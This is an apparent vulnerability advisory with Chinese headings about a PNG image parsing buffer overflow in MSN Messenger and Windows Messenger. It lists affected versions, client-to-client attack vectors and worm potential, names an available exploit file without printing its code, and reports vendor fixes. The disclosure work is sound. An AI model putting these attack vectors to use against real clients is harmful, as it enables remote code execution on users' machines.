+ Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows Messenger 5.0
Microsoft MSN Messenger Service 6.2
Microsoft MSN Messenger Service 6.1

- 漏洞讨论

A remotely exploitable buffer overflow exists in MSN Messenger and Windows Messenger. This vulnerability is related to parsing of Portable Network Graphics (PNG) image header data. Successful exploitation will result in execution of arbitrary code in the context of the vulnerable client user.

Attack vectors and mitigations may differ for MSN Messenger and Windows Messenger. For Windows Messenger, the attacker must spoof the .NET Messenger service and the client must be configured to receive .NET alerts.

However, MSN Messenger may be exploited through various methods in a client-to-client attack. Possible attack vectors for this vulnerability in MSN Messenger include:
User display pictures
Custom icons that are displayed inline in instant messages
Thumbnails of transferred images
Background images

Since this issue may be exploited in a client-to-client attack for MSN Messenger, it is a likely candidate for development of a worm.

This issue was originally described in BID 10857. Further analysis has determined that there are unique properties of the vulnerability that distinguish it from the general libpng issue on other platforms.

- 漏洞利用

An exploit designed to leverage this issue against Microsoft MSN Messenger (msnMessengerPNGexploit.c) has been made available:

- 解决方案

Microsoft has released fixes to address this vulnerability in affected Microsoft software.

The fix for Windows Messenger running on Windows XP Service Pack 1 has been revised.

Nortel Networks has released security advisory 2005005516-2 acknowledging
this issue. Please see the referenced advisory for further information.

Microsoft MSN Messenger Service 6.1

Microsoft MSN Messenger Service 6.2

Microsoft Windows Messenger 5.0

Microsoft Windows Messenger 4.7 .2009

Microsoft Windows Messenger 4.7 .3000

- 相关参考